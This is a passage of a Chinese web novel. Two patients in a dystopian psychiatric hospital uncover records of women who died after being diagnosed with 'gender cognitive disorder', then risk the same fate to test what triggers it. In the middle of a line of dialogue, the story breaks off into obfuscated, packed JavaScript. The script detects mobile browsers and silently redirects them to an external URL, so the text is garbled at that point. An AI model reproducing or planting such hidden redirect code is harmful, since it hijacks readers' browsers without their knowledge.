11
另一个世界假不假，这尚有疑问。但小月确信，这个世界绝对不真。
为此，她向柯维介绍了她目前的计划。
某天一大早，小月把柯维摇醒：“咱们去档案室。”
柯维坐起来，脑子还没完全清明：“什么档案室？”
“医院有个档案室，在三层，锁着的。”小月已经穿好了病号服，正把床单扯平，“我之前——上一个身体的时候——去探过。护士站有钥匙。”
柯维看着她，心跳开始加速：“你疯了？被抓到会——”
“会怎样？”小月转过身，“送进心理医院？姐们儿，这他妈就是心理医院了，再糟能糟到哪儿去？”
柯维张了张嘴，说不出话。
小月走过来，在她床边蹲下，压低声音：“柯维，你听我说。我死过很多次了。每一次我都以为下一个世界会是真的，但每一次都不是。这个世界也是假的，你心里清楚。”
“我清楚什么？”柯维有点抵触。
“它太刻意了。”小月说，“你不觉得吗？所有人都在告诉你，你是女人，所以你该去生育考核。你是女人，所以你该恨穿裙子的玩意儿。但是为什么？没有具体的解释，只有‘你是女人’一个原因。”
柯维的手指攥紧了被子。的确，她认同自己是女人，但她不认同这些东西。
“我不知道咱们是从哪儿来的。”小月说，“但我猜，这家医院里会有些线索——其他像咱们这样来自另一个世界的人，也会被当成疯子送到这儿来。”
12
护士站的钥匙挂在墙边的挂钩上。
小月走过去的时候步子很稳，像是只是去接杯水。她一边走一边和坐在那里的护士说话：“姐，今天天气不错哈。”
护士抬头看了她一眼，目光落在她的病号服上，又移开，没说话。
就在那个瞬间，小月的袖子从挂钩上掠过。
柯维站在走廊拐角，心都快从嗓子眼里跳出来了。她看见小月继续往前走，步子还是那么稳，左手垂在身侧，指缝里夹着一把银色的钥匙，在日光灯下闪了一下。
她拐进走廊，和柯维擦肩而过的时候，钥匙从她手里滑进柯维的掌心。
13
下午一点，午睡时间。
走廊里静悄悄的，两个人贴着墙走到楼梯间，下到三层。
档案室在走廊尽头，门是深灰色的，贴着标识：闲人免入。
小月用钥匙打开门，两人闪进去，把门带上。
档案室里很暗，窗帘拉着，只有几缕光从缝隙里漏进来。空气里有一股陈旧的纸味，或许是太浓了，让人感觉奇怪。
小月走到标注“病例”的柜子前，拉开时间最新的抽屉。里面是一摞一摞的牛皮纸档案袋，按编号排着。
“这是什么？”柯维凑过去问。
小月轻声答：“死人的档案。”
小月拿出来最近的一份。
姓名：宫大伟
年龄：32
死亡原因：心源性猝死
备注栏里有一行字，打印的，工工整整：该患者生前曾有多次自称“张见月”的记录，此人名表现出偏男性化，诊断为性别认知障碍。
柯维的手指发凉。
小月把档案塞回去，拉开另一个抽屉，又抽出一份。
年龄：29
死亡原因：心源性猝死
备注：该患者自称“我应该是个男人”，诊断为性别认知障碍。
小月没停，一份接一份地抽出来，一份接一份地看。
年龄：21
死亡原因：心源性猝死
备注：该患者该性取向为女性，虽自称自我认同为女性，但怀疑为因恐惧治疗而说谎，诊断为性别认知障碍。
年龄：27
死亡原因：心源性猝死
备注：该患者多次试图穿裙子，诊断为性别认知障碍。
年龄：29
死亡原因：心源性猝死
备注：该患者私自放走家中夫郎，家属举报其性取向异常，诊断为性别认知障碍。
年龄：19
死亡原因：心源性猝死
备注：该患者教唆其兄逃离家庭，声称嫂子家暴，被其兄举报，家属认为其背叛女性身份，诊断为性别认知障碍。
柯维的手停了一下。
她看着“背叛女性身份”这几个字，脑子里有什么东西轻轻地刺了一下。帮哥哥逃离家暴的嫂子，算背叛女性身份？柯维的记忆告诉她，这确实是一种背叛，女人应该团结，应该保护其他女人的利益，而不是帮她们的男人逃跑。但话又说回来，这个男人可是她的哥哥啊？
柯维她继续往下翻。
年龄：30
死亡原因：心源性猝死
备注：该患者拒绝参加生育考核，声称“宁可被人笑话”，家属认为其拒不接受女性荣誉，诊断为性别认知障碍。
柯维盯着那张纸。
所有人都认为，身为女人理应为自己拥有生育的功能而自豪，都应该去争取那份最高的荣耀。不想要荣誉的人会被耻笑，会被怀疑其是否真的具有生育能力——但这是正常的么？
“这也太扯了。”小月一边翻页一边说，“死的都是‘性别认知障碍’，还都是女人。”
里面有真的“性别认知障碍”——或者说跨性别，但更多的是牵强附会。女同性恋跟自身性别认知有什么关系？不喜欢生育又是哪门子的认知障碍？
还有那个帮助哥哥反被哥哥举报的，不知好歹的东西——柯维心里升出一股对男性的厌恶，或许有些人被歧视也是正常的。
“你想怎么做？”柯维对小月问。
“现在貌似可以确定触发条件了，就是表现出这个‘性别认知障碍’。”小月回答，“那咱们就表演一下，看看接近死亡的时候具体会发生什么。”
“那……万一真死了呢？”柯维迟疑。
“所以要在医生在场的时候演。”小月说，“不然就像我上次，睡梦中莫名其妙就死了。”
14
第二天查房的时候，小月行动了。
医生推门进来的时候，她正坐在床边，手里捧着那个本子装模作样地看。
“今天感觉怎么样？”医生走到小月床前，例行公事地问。
小月抬起头，脸上带着那种刚入院的病人特有的茫然——柯维不得不承认，她演得很像。
“大夫，”小月开口，声音轻轻的，“我……我有一个请求。”
医生停下脚步，看着她。
“我想留长头发。”小月说。
病房里安静了一秒。
医生的表情没有变化，但柯维看见她的目光从小月的脸上移到了床头柜——那里放着几样东西，又移回来，像是在做某种评估。
“为什么想留长头发？”医生问，语气很平和。
小月低下头，手指绞着被单边缘：“就是……想留。看着好看。”
“好看？”医生重复了一遍这个词，微微侧过头，“你觉得长头发好看？”
“嗯。”小月的头埋得更低了。
医生往前走了一步，在她床边坐下。这个动作让柯维的后背绷紧了——她原本以为医生会直接打断，或者在病历上写点什么然后离开。但医生坐下了。
“跟我说说，”医生的声音仍然很平和，甚至带着一点循循善诱的耐心，“从什么时候开始有这个想法的？”
小月愣了一下。
柯维知道她在想什么——这和预期的剧本不一样。她们以为只要说出违规的话，某种“系统”就会立刻反应，就像档案室里那些猝死的记录一样干脆。但医生没有反应，她只是在问，在听，在收集信息——显然，医生并非那个“系统”的耳目。
“有……有一阵子了。”小月说，声音开始发飘。
“一阵子是多久？”医生问。
“几个月？我也说不清……”
“那你之前跟别人说过吗？”
“没、没有。”
“为什么没有？”
小月张了张嘴。
柯维看见她的手指在被单上攥紧了，指节慢慢地失血变白。
这并非紧张，而是生理上的痛苦。
“因、因为……”小月的话没说完，整个人的姿势就凝固了，像是被什么东西从内部按下了暂停键。她的眼睛还睁着，但目光散了，不再聚焦在任何地方。
“小月？”柯维脱口而出。
医生转头看了她一眼。“小月”这个名字与小月现在使用的身份不符，医生只会把柯维当成普通的发病。
而她再看小月的时候，小月已经恢复了——或者说，至少脱离了死亡威胁。她低着头，肩膀剧烈地起伏，大口大口地喘气，像是刚从水底挣扎着浮上来。她的左手按着胸口，病号服被攥出一把褶皱。
“我……”小月的声音沙哑，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300386|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气声很重，“我开玩笑的，纯开玩笑……我怎么可能留长发？”
医生看着她，没有说什么，只是在病历上记了些东西。
15
医生离开后，柯维走到小月床边。小月还保持着那个姿势，手按在胸口，脸色苍白得吓人。
“刚才怎么回事儿？”柯维压低声音。
“差点儿就没了。”小月说，声音很轻，“我刚说了两句，心口就疼起来了，也喘不上气儿。脑子里有东西在嗡嗡响——不是耳朵里的那种响，是脑子里的，像……像有什么东西在扫描，在检查。”
她顿了顿，咽了口唾沫。
“我改口的时候，那个感觉才慢慢退下去。”她看着自己的手，“不像按开关那么快，像……像它需要时间确认你是不是真的改口了。”
柯维听着，心跳得很快。
“你还要试吗？”小月问。
柯维沉默了片刻才点头：“要。”
16
那天晚上柯维没睡好。
她躺在床上，盯着天花板，脑子里转来转去都是小月白天说的话——“像有什么东西在扫描，在检查”。一个想法快速划过脑海，但她又没抓住。
或许只有她亲身经历了，才能想起来那到底是什么。
第二天早上查房的时候，柯维对医生说：“大夫，我有个事儿想说。”
医生看着她，态度仍然平和。
“我喜欢女人。”柯维说。
医生脸上没有任何特别的表情变化——这是一家心理医院，病人在心理上不同常人，才符合医生的预期。
“喜欢女人？”医生重复。
柯维点头，硬着头皮继续说：“对……就是想和女人在一起。我想……想跟女人结婚。”
“你以前喜欢过谁吗？”医生问。
“没、没有。”
“那你怎么知道你喜欢女人？”
柯维张了张嘴。
她并非不知道该如何伪装，但此时突然感觉胸口开始发紧，像有一只手从里面攥住了她的心脏，正在一点一点地收紧。
“我……”她想回答，但声音卡在嗓子里。
医生的脸在她的视野里变得模糊，眼前开始出现黑点，一小片一小片的，像有飞蛾在视野里扑腾。她听见自己的呼吸变得又浅又急，像某种小动物临死前的那种喘气。
“不，我不喜欢女人。”她连忙说，以此来自救，“我从来没有喜欢过女人。”
攥着心脏的力量松了一点，但没有完全松开。
“我真正喜欢的是男人。”她说，声音抖得厉害，几乎是从牙缝里挤出来的。
攥着心脏的手又松了一点，但还在。
为什么还在？
柯维的脑子开始转不动了。眼前的东西越来越黑，只有医生那张脸还在视野中央，模模糊糊地，像隔着一层水在看。她听见自己的心跳，像有人在很远的地方敲鼓，鼓声越来越远。
不对！
她说的都是对的——她作为女人，不喜欢女人才是对的，喜欢男人才是对的。她说的每一句都是对的，为什么那个东西还在收紧？
柯维想不明白。脑子已经转不动了，只剩下一个念头在转：我得说点什么，我得再说点什么，让它松手。
说什么？
说什么才是对的？
她想起档案室里那些档案，想起那些被诊断为“性别认知障碍”的人——女同性恋是认知障碍，拒绝生育考核是认知障碍，帮哥哥逃跑是认知障碍。在这个世界里，什么是正常的？什么是对的？
一个女人，应该——
应该恨男人。
这个念头从她脑子里划过的时候，攥着心脏的手突然松了一点点。
柯维抓住了那个缝隙。
“我讨厌男人。”她听见自己在心里说——她已经说不出话了，嘴唇动不了，舌头也动不了，只剩下脑子还能转，“我讨厌男人，我不喜欢男的——”
“我只想跟男人上床，但我藐视他们。”
攥着心脏的手一下子松开了。
柯维大口大口地喘气。眼前的东西还在晃，但黑色在退，光在一点一点渗进来。她看见医生的脸，还站在原地看着她，似乎在评估她的精神状态。
然后她听见了一个声音。
不是病房里任何一个人说的，而是来自她脑子里，听上去很远很远：“哦得了，又一个‘聚集点’。”
柯维愣住了。